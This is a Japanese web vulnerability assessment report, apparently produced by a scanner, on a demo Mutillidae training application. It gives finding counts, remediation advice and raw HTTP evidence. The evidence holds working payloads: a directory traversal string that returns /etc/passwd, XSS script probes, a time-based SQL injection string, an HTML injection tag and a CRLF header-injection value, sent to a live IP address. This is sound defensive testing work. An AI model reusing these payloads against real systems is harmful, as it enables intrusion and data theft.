CONFIDENTIAL

脆弱性診断結果報告書

作成日時：2023/01/31 15:43:40

株式会社M＆K

1.はじめに

本報告書は「2022/12/12 11:47:06〜2022/12/12 11:51:47」に実施した脆弱性検査の検査結果についてご報告するものです。
また、本サービスは、対象システムにおいて調査時点に存在するセキュリティ上の脆弱性を検出し、推奨される対策案をご提示することを目的としております。悪意ある第三者の視点で、内部の構造や仕組みに関する情報を一切持たず、入出力のみに着目して結果を分析する「ブラックボックステスト」と呼ばれる手法により、対象システムに影響を及ぼす恐れのある脅威および関連するリスクの顕在化を行います。

目的

> 本検査の目的は、検査対象システムに対してリモートから脆弱性の検査を行い、システムに存在する脆弱性を検出することにあります。 また、脆弱性が検出された場 合、そのリスク評価、及び、脆弱性への対策を支援する情報の提供も行います。

注意事項

> 診断手法について 本サービスにおいては、サーバーに対するDoS (Denial of Service:サービス不能) 攻撃やデータベースのデータ変更を伴うSQL (UPDATEやDELETEなど)の実行といった、Webアプリケーションの可用性およびデータの完全性を損なう危険性のある診断は実施いたしておりません。

2.概要

2.1.診断情報

診断ID	64
プロファイル	デモ用Webアプリケーション診断
サブプロファイル	デモ用Webアプリケーション診断
URL	http://163.43.26.120/mutillidae/
診断ステータス	終了
開始	2022/12/12 11:47:06
終了	2022/12/12 11:51:47

2.2.脆弱性検出件数

レベル別件数 ()内は対応件数

11	22	18	0	33	14
緊急	重大	高	中	低	情報

2.3.総合評価

今回実施した検査の結果に基づき、該当のシステムは以下の評価になります。

🎗総合評価

D

大きな被害を受けることが懸念される危険性の高い脆弱性が確認されております。早急に対策を行うことを推奨します。

評価基準

本報告書における総合評価は、以下に規定される絶対評価によるものです。絶対評価は、A、B、C、D のいずれかのアルファベット1文字で表記され、検査結果を絶対評価の評価基準に照合し適合するクラスが評価として与えられます。

評価レベル	評価基準	検出件数
A	早急に対策が必要な脆弱性は検出されませんでした。	「情報」のみ検出、または検出件数0件
B	直接的に被害を受ける可能性は低いと推測されますが、脆弱性が確認されております。検出内容を確認の上、対策の検討を行うことを推奨します。	危険度「高」以上の脆弱性は1件も検出されず、危険度「低」または「中」の脆弱性を1件以上検出
C	被害を受ける可能性のある脆弱性が確認されております。早急に対策の検討を行うことを推奨します。	危険度「重大」以上の脆弱性は1件も検出されず、危険度「高」の脆弱性を1件以上検出
D	大きな被害を受けることが懸念される危険性の高い脆弱性が確認されております。早急に対策を行うことを推奨します。	危険度「重大」以上の脆弱性を1件以上検出

なお、上記評価基準は本検査において検出された脆弱性の検出件数を基に、検査結果を簡潔に表現するために作成された独自基準になります。上記評価基準による評価は、あくまでも検査結果を簡潔に表現するためのものであり、弊社は評価に対しての保証や責任は負いかねますので、あらかじめご了承ください。

2.4.脆弱性検出カテゴリ

Webアプリケーション 検出カテゴリ

()内は対応件数

No.	危険度	カテゴリ	件数
1	緊急	ディレクトリトラバーサル	11
2	重大	クロスサイトスクリプティング	18
3	重大	SQLインジェクション(エラーメッセージ)	4
4	高	HTMLインジェクション(リンク)	18
5	低	PHPバージョン情報の検出	1
6	低	ApacheのRange Header処理の不備によるサービス運用妨害(DoS)の可能性	1
7	低	特殊文字のエスケープ漏れ	19
8	低	セキュア属性の欠如	2
9	低	HttpOnly属性の欠如	2
10	低	デバッグファイルの検出	1
11	低	バックアップファイルの検出	2
12	低	レスポンスヘッダーの汚染	1
13	低	エラーメッセージの検出	3
14	低	バッファオーバーフローの可能性	1
15	情報	セキュリティ上推奨されるHTTPヘッダーの欠如	1
16	情報	コメントの検出	1
17	情報	Directory存在の検出	3
18	情報	メールアドレスの検出	1
19	情報	内部Pathアドレスの検出	8

3.Web脆弱性診断検出結果

デモ用Webアプリケーション診断 / デモ用Webアプリケーション診断
診断ID:64 - 開始:2022/12/12 11:47:06 終了:2022/12/12 11:51:47

3.1.ディレクトリトラバーサル

緊急

11 件

概要

公開することを意図していないディレクトリのファイルに対して、不正にディレクトリパスをさかのぼりアクセス可能です。
この脆弱性が悪用された場合、
１．重要情報の漏洩
２．アプリケーションの作りによってはファイルの改ざん
などの影響があります。

参考情報　http://www.ipa.go.jp/security/vuln/vuln_contents/dt.html

対策

ファイル名を外部から指定できないよう「../」や「/」などのパス名として識別される文字列のエスケープを適切に行って下さい。また、クライアントからの取得データは英数字のみ許可することも対策となります。

検出結果

URL	http://163.43.26.120/mutillidae/index.php?page=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
メソッド	POST
パラメータ	page

診断文字列	../../../../../etc/passwd

検出箇所

ステータスコード	
ヘッダ	
コンテンツ	root:x:
応答時間	0.039

リクエストライン

POST http://163.43.26.120/mutillidae/index.php?page=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php
Host: 163.43.26.120
Content-Type: application/x-www-form-urlencoded
Cookie: showhints=1; PHPSESSID=9f0qcrdc2g5meeg29sgglm7p91
Content-Length: 78

リクエストボディ

csrf-token=&add-to-your-blog-php-submit-button=Save%20Blog%20Entry&blog_entry=

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:48:40 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7589
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

910 : <td valign="top">
911 : <blockquote>
912 : <!-- Begin Content -->
913 : root:x:0:0:root:/root:/bin/bash
914 : daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
915 : bin:x:2:2:bin:/bin:/usr/sbin/nologin
916 : sys:x:3:3:sys:/dev:/usr/sbin/nologin

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 4.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	N:不要	**L:低**	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	page	root:x:	-------
2	http://163.43.26.120/mutillidae/index.php?page=login.php	GET	page	root:x:	
3	http://163.43.26.120/mutillidae/index.php?page=login.php	POST	page	root:x:	
4	http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=login.php	GET	page	root:x:	
5	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php	GET	page	root:x:	
6	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/change-log.html&document-viewer-php-submit-button=View Document	GET	page	root:x:	
7	http://163.43.26.120/mutillidae/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba	GET	page	root:x:	
8	http://163.43.26.120/mutillidae/index.php?page=styling-frame.php&page-to-frame=styling.php?page-title=Styling+with+Mutillidae	GET	page	root:x:	
9	http://163.43.26.120/mutillidae/index.php?page=password-generator.php&username=anonymous	GET	page	root:x:	
10	http://163.43.26.120/mutillidae/?page=add-to-your-blog.php	GET	page	root:x:	
11	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php	POST	page	root:x:	

3.2.クロスサイトスクリプティング

重大

18 件

概要

[<,>,",'] 等の特殊文字がエスケープされていない為、スクリプトの実行、ページ改ざんが可能です。
この脆弱性が悪用された場合、
１．Cookieが盗まれることによる個人情報漏洩
２．Webページ改竄にるフィッシング詐欺
などの影響があります。

参考情報　http://www.ipa.go.jp/security/vuln/vuln_contents/xss.html

対策

この脆弱性に対応するには、Web アプリケーションにおいて出力部分に応じた文字列の適切なエスケープ/エンコード処理を行うことが必要です。
また、Web アプリケーション開発時に以下を原則とすることで、クロスサイトスクリプティングを含め、多くの脆弱性による影響を大幅に緩和することが可能です。

入力値の形式や文字種別、桁数を厳密に定義し、正しい入力値のみを受け付けるように処理する。
例：電話番号の値には10-12 桁の半角数字のみを許可等
JavaScript 等を使用したクライアント側での入出力チェックに依存せず、サーバ側で入出力チェックを行う。

なお、クロスサイトスクリプティングの原因は文字列処理が適切にされていないことに起因するため、本指摘事項以外にも、文字列処理を行う全ての部分に注意する必要があります。そのため指摘部分への対策だけではなく、アプリケーション全体の確認と対策を推奨いたします。
・エスケープ対象文字列

【 <> " ' %% () & + ；】

検出結果

URL	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
メソッド	POST
パラメータ	Cookie

診断文字列	<sCrIpT>alert("-@3611-64@-")</ScRiPt>

検出箇所

ステータスコード	
ヘッダ	
コンテンツ	<sCrIpT>alert("-@3611-64@-")</ScRiPt>
応答時間	0.04

リクエストライン

POST http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php
Host: 163.43.26.120
Content-Type: application/x-www-form-urlencoded
Cookie: showhints=<sCrIpT>alert("-@3611-64@-")</ScRiPt>; PHPSESSID=9f0qcrdc2g5meeg29sgglm7p91
Content-Length: 78

リクエストボディ

csrf-token=&add-to-your-blog-php-submit-button=Save%20Blog%20Entry&blog_entry=

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:48:38 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 8924
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

```
53 :       <td bgcolor="#ccccff" align="center" colspan="7">
54 :                   <span class="version-header">Version: 2.6.58</span>
55 :           <span id="idSecurityLevelHeading" class="version-header" style="margin-left: 20px;">Security Level: 0 (Hosed)</span>
56 :           <span id="idHintsStatusHeading" CookieTamperingAffectedArea="1" class="version-header" style="margin-left:
20px;">Hints: Disabled (<sCrIpT>alert("-@3611-64@-")</ScRiPt> - I try harder)</span>
57 :           <span id="idSystemInformationHeading" ReflectedXSSExecutionPoint="1" class="version-header" style="margin-left:
20px;">Not Logged In</span>
58 :       </td>
59 :    </tr>
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 4.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	N:不要	**L:低**	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	page	<sCrIpT>alert("-@3592-64@-")</ScRiPt>	
2	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	Cookie	<sCrIpT>alert("-@3592-64@-")</ScRiPt>	
3	http://163.43.26.120/mutillidae/index.php?page=login.php	GET	page	<sCrIpT>alert("-@3593-64@-")</ScRiPt>	
4	http://163.43.26.120/mutillidae/index.php?page=login.php	GET	Cookie	<sCrIpT>alert("-@3593-64@-")</ScRiPt>	
5	http://163.43.26.120/mutillidae/index.php?page=login.php	POST	page	<sCrIpT>alert("-@3594-64@-")</ScRiPt>	
6	http://163.43.26.120/mutillidae/index.php?page=login.php	POST	Cookie	<sCrIpT>alert("-@3594-64@-")</ScRiPt>	
7	http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=login.php	GET	page	<sCrIpT>alert("-@3595-64@-")</ScRiPt>	
8	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php	GET	page	<sCrIpT>alert("-@3600-64@-")</ScRiPt>	
9	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/change-log.html&document-viewer-php-submit-button=View Document	GET	page	<sCrIpT>alert("-@3601-64@-")</ScRiPt>	
10	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/change-log.html&document-viewer-php-submit-button=View Document	GET	Cookie	<sCrIpT>alert("-@3601-64@-")</ScRiPt>	
11	http://163.43.26.120/mutillidae/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba	GET	page	<sCrIpT>alert("-@3602-64@-")</ScRiPt>	
12	http://163.43.26.120/mutillidae/index.php?page=styling-frame.php&page-to-frame=styling.php?page-title=Styling+with+Mutillidae	GET	page	<sCrIpT>alert("-@3604-64@-")</ScRiPt>	
13	http://163.43.26.120/mutillidae/index.php?page=password-generator.php&username=anonymous	GET	page	<sCrIpT>alert("-@3605-64@-")</ScRiPt>	
14	http://163.43.26.120/mutillidae/hints-page-wrapper.php?level1HintIncludeFile=1	GET	level1HintIncludeFile	<sCrIpT>alert("-@3609-64@-")</ScRiPt>	
15	http://163.43.26.120/mutillidae/?page=add-to-your-blog.php	GET	page	<sCrIpT>alert("-@3610-64@-")</ScRiPt>	
16	http://163.43.26.120/mutillidae/?page=add-to-your-blog.php	GET	Cookie	<sCrIpT>alert("-@3610-64@-")</ScRiPt>	

No.	URL	メソッド	パラメータ	概要	対応状況
17	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php	POST	page	<sCrIpT>alert("-@3611-64@-")</ScRiPt>	
18	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php	POST	Cookie	<sCrIpT>alert("-@3611-64@-")</ScRiPt>	

3.3.SQLインジェクション(エラーメッセージ)

重大

4 件

概要

SQLエラーメッセージを検出しました。SQLインジェクションが発生する可能性があります。
この脆弱性が悪用された場合、
１．重要情報の漏洩
２．データの改ざん
3.サービスの停止
などの影響があります。

参考情報　http://www.ipa.go.jp/security/vuln/vuln_contents/sql.html

対策

ストアード・プロシージャーを使用し、直接データベースにアクセスしないでください。開発環境にストアド・プロシージャーが用意させていない場合は、SQL文作成に使用される値の特殊文字をエスケープ処理してください。また、エラーメッセージはカスタムエラーページを用意するなどし、画面に表示しないように設定してください。
・エスケープ対象文字列

【 ' " \' \" ） ； 】

検出結果

URL	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
メソッド	POST
パラメータ	blog_entry

診断文字列	' UNION SELECT IF(SUBSTRING(USER(),1,4)='root',1,SLEEP(5)) ;#--

検出箇所

ステータスコード	
ヘッダ	
コンテンツ	MySQL server version
応答時間	0.061

リクエストライン

POST http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php
Host: 163.43.26.120
Content-Type: application/x-www-form-urlencoded
Cookie: showhints=1; PHPSESSID=9f0qcrdc2g5meeg29sgglm7p91
Content-Length: 185

リクエストボディ

csrf-token=&add-to-your-blog-php-submit-button=Save%20Blog%20Entry&blog_entry=%27%20UNION%20SELECT%20IF%28SUBSTRING%28USER%28%29%2C1%2C4%29%3D%27root%27%2C1%2CSLEEP%285%29%29%20%3B%23--

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:48:44 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 10332
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

```
920 :           <tr><td class="error-label">Line</td><td class="error-detail">194</td></tr>
921 :           <tr><td class="error-label">Code</td><td class="error-detail">0</td></tr>
922 :           <tr><td class="error-label">File</td><td class="error-detail">/var/www/mutillidae/classes/MySQLHandler.php</td>
</tr>
923 :           <tr><td class="error-label">Message</td><td class="error-detail">/var/www/mutillidae/classes/MySQLHandler.php
on line 189: Error executing query: <br /><br />connect_errno: 0<br />errno: 1064<br />error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT
IF(SUBSTRING(USER(),1,4)='root',1,SLEEP(5)) ;#--', now() )' at line 1<br />client_info: 5.5.59<br />host_info: 127.0.0.1 via
TCP/IP<br /><br />) Query: &#xd;&#xa;&#x9;&#x9;&#x9;INSERT INTO blogs_table&#x28;blogger_name, comment, date&#x29;
VALUES &#x28;&#x27;anonymous&#x27;, &#x27;&#x27; UNION SELECT
IF&#x28;SUBSTRING&#x28;USER&#x28;&#x29;,1,4&#x29;&#x3d;&#x27;root&#x27;,1,SLEEP&#x28;5&#x29;&#x29;
&#x3b;&#x23;--&#x27;, now&#x28;&#x29; &#x29; (0) [Exception] <br />
924 : </td></tr>
925 :           <tr><td class="error-label">Trace</td><td class="error-detail">#0
/var/www/mutillidae/classes/MySQLHandler.php(287): MySQLHandler->doExecuteQuery('?????INSERT INT...')
926 : #1 /var/www/mutillidae/classes/SQLQueryHandler.php(182): MySQLHandler->executeQuery('?????INSERT INT...')
```

CVSS 2.0

基本評価基準: 7.5 高			
AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	N:なし	**P:部分的**	C:全面的
A:可用性への影響	N:なし	**P:部分的**	C:全面的

CVSS 3.1

基本評価基準: 4.3 警告				
AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	N:不要	**L:低**	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/index.php?page=login.php	POST	username	MySQL server version	
2	http://163.43.26.120/mutillidae/index.php?page=login.php	POST	password	MySQL server version	
3	http://163.43.26.120/mutillidae/hints-page-wrapper.php?level1HintIncludeFile=1	GET	level1HintIncludeFile	MySQL server version	
4	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php	POST	blog_entry	MySQL server version	

3.4.HTMLインジェクション(リンク)

高

18 件

概要

ページ内に任意のリンクを埋め込むことが可能です。
この脆弱性が利用された場合、悪意のあるページへの誘導や意図しない操作の実行を強制される可能性があります。

対策

この脆弱性に対応するには、Web アプリケーションにおいて出力部分に応じた文字列の適切なエスケープ/エンコード処理を行うことが必要です。
また、Web アプリケーション開発時に以下を原則とすることで、リンクインジェクションを含め、多くの脆弱性による影響を大幅に緩和することが可能です。

入力値の形式や文字種別、桁数を厳密に定義し、正しい入力値のみを受け付けるように処理する。
例：電話番号の値には10-12 桁の半角数字のみを許可等
JavaScript 等を使用したクライアント側での入出力チェックに依存せず、サーバ側で入出力チェックを行う。

なお、リンクインジェクションの原因は文字列処理が適切にされていないことに起因するため、本指摘事項以外にも、文字列処理を行う全ての部分に注意する必要があります。そのため指摘部分への対策だけではなく、アプリケーション全体の確認と対策を推奨いたします。

検出結果

URL	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
メソッド	POST
パラメータ	Cookie

診断文字列	'"><IMG SRC="/-@3611-64@-/_SCAN_.html">

検出箇所

ステータスコード	
ヘッダ	
コンテンツ	'"><IMG SRC="/-@3611-64@-/_SCAN_.html">
応答時間	0.044

リクエストライン

POST http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php
Host: 163.43.26.120
Content-Type: application/x-www-form-urlencoded
Cookie: showhints='"><IMG SRC="/-@3611-64@-/_SCAN_.html">; PHPSESSID=9f0qcrdc2g5meeg29sgglm7p91
Content-Length: 78

リクエストボディ

csrf-token=&add-to-your-blog-php-submit-button=Save%20Blog%20Entry&blog_entry=

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:48:46 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9018
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

レスポンスボディ

```
53 :       <td bgcolor="#ccccff" align="center" colspan="7">
54 :                   <span class="version-header">Version: 2.6.58</span>
55 :           <span id="idSecurityLevelHeading" class="version-header" style="margin-left: 20px;">Security Level: 0 (Hosed)</span>
56 :           <span id="idHintsStatusHeading" CookieTamperingAffectedArea="1" class="version-header" style="margin-left:
20px;">Hints: Disabled ('"><IMG SRC="/-@3611-64@-/_SCAN_.html"> - I try harder)</span>
57 :           <span id="idSystemInformationHeading" ReflectedXSSExecutionPoint="1" class="version-header" style="margin-left:
20px;">Not Logged In</span>
58 :       </td>
59 :    </tr>
```

CVSS 2.0

基本評価基準: 5.0 中

AV:攻撃元区分	L:ローカル	A:隣接	**N:ネットワーク**
AC:攻撃条件の複雑さ	H:高	M:中	**L:低**
Au:攻撃前の認証要否	M:複数	S:単一	**N:不要**
C:機密性への影響	N:なし	**P:部分的**	C:全面的
I:完全性への影響	**N:なし**	P:部分的	C:全面的
A:可用性への影響	**N:なし**	P:部分的	C:全面的

CVSS 3.1

基本評価基準: 4.3 警告

AV:攻撃元区分	**N:ネットワーク**	A:隣接ネットワーク	L:ローカル	P:物理
AC:攻撃条件の複雑さ	**L:低**	H:高		
PR:必要な特権レベル	N:不要	**L:低**	H:高	
UI:ユーザ関与レベル	**N:不要**	R:要		
S:スコープ	**U:変更なし**	C:変更あり		
C:機密性への影響	N:なし	**L:低**	H:高	
I:完全性への影響	**N:なし**	L:低	H:高	
A:可用性への影響	**N:なし**	L:低	H:高	

該当箇所一覧

No.	URL	メソッド	パラメータ	概要	対応状況
1	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	page	'"><IMG SRC="/-@3592-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3592-64@-/_SCAN_.html">	
2	http://163.43.26.120/mutillidae/index.php?page=home.php&popUpNotificationCode=HPH0	GET	Cookie	'"><IMG SRC="/-@3592-64@-/_SCAN_.html">	
3	http://163.43.26.120/mutillidae/index.php?page=login.php	GET	page	'"><IMG SRC="/-@3593-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3593-64@-/_SCAN_.html">	
4	http://163.43.26.120/mutillidae/index.php?page=login.php	GET	Cookie	'"><IMG SRC="/-@3593-64@-/_SCAN_.html">	
5	http://163.43.26.120/mutillidae/index.php?page=login.php	POST	page	'"><IMG SRC="/-@3594-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3594-64@-/_SCAN_.html">	
6	http://163.43.26.120/mutillidae/index.php?page=login.php	POST	Cookie	'"><IMG SRC="/-@3594-64@-/_SCAN_.html">	
7	http://163.43.26.120/mutillidae/index.php?do=toggle-hints&page=login.php	GET	page	'"><IMG SRC="/-@3595-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3595-64@-/_SCAN_.html">	
8	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php	GET	page	'"><IMG SRC="/-@3600-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3600-64@-/_SCAN_.html">	
9	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/change-log.html&document-viewer-php-submit-button=View Document	GET	page	'"><IMG SRC="/-@3601-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3601-64@-/_SCAN_.html">	
10	http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&PathToDocument=documentation/change-log.html&document-viewer-php-submit-button=View Document	GET	Cookie	'"><IMG SRC="/-@3601-64@-/_SCAN_.html">	
11	http://163.43.26.120/mutillidae/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba	GET	page	'"><IMG SRC="/-@3602-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3602-64@-/_SCAN_.html">	
12	http://163.43.26.120/mutillidae/index.php?page=styling-frame.php&page-to-frame=styling.php?page-title=Styling+with+Mutillidae	GET	page	'"><IMG SRC="/-@3604-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3604-64@-/_SCAN_.html">	
13	http://163.43.26.120/mutillidae/index.php?page=password-generator.php&username=anonymous	GET	page	'"><IMG SRC="/-@3605-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3605-64@-/_SCAN_.html">	

No.	URL	メソッド	パラメータ	概要	対応状況
14	http://163.43.26.120/mutillidae/hints-page-wrapper.php?level1HintIncludeFile=1	GET	level1HintIncludeFile	'"><IMG SRC="/-@3609-64@-/_SCAN_.html">	
15	http://163.43.26.120/mutillidae/?page=add-to-your-blog.php	GET	page	'"><IMG SRC="/-@3610-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><IMG SRC="/-@3610-64@-/_SCAN_.html">	
16	http://163.43.26.120/mutillidae/?page=add-to-your-blog.php	GET	Cookie	'"><IMG SRC="/-@3610-64@-/_SCAN_.html">	
17	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php	POST	page	'"><IMG SRC="/-@3611-64@-/_SCAN_.html">">Toggle Hints</td><td>|</td> <td><a href="index.php?do=toggle-bubble-hints&page='"><IMG SRC="/-@3611-64@-/_SCAN_.html">	
18	http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php	POST	Cookie	'"><IMG SRC="/-@3611-64@-/_SCAN_.html">	

3.5.PHPバージョン情報の検出

低

1 件

概要

PHPのバージョン情報が表示されています。バージョンの開示自体が脆弱性にはなりませんが、セキュリティ対策のされていないバージョンの情報が表示されることにより、攻撃手法を絞ることが可能となります。

対策

以下の設定にすることを推奨いたします。また、現在表示されているバージョンのアプリケーションに脆弱性が報告されている場合は、最新バージョンに更新することを推奨いたします。
PHPの設定ファイルphp.iniを以下の設定にすることを推奨いたします。
変更後、Apacheを再起動します。
expose_php = Off
最新版バージョンは　http://www.php.net/　で確認してください。

検出結果

URL	http://163.43.26.120/mutillidae/
メソッド	GET
パラメータ	

診断文字列	

検出箇所

ステータスコード	
ヘッダ	PHP/5.5.9-1ubuntu4.23
コンテンツ	
応答時間	0.063

リクエストライン

GET http://163.43.26.120/mutillidae/

リクエストヘッダ

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: ?SCAN_%%0d%%0aSecAppHeader: SecurityScanner-@3591-64@-
Cookie: showhints=1; PHPSESSID=hh4c1tusuutqgj9rgoha2konl1

リクエストボディ

HTTPステータス

200 OK

レスポンスヘッダ

Date: Mon, 12 Dec 2022 02:44:23 GMT
Server: Apache
X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9048
Content-Type: text/html

レスポンスボディ

```
1 : <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
2 : <html>
3 : <head>
4 :    <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />
5 :    <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />
6 :    <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />
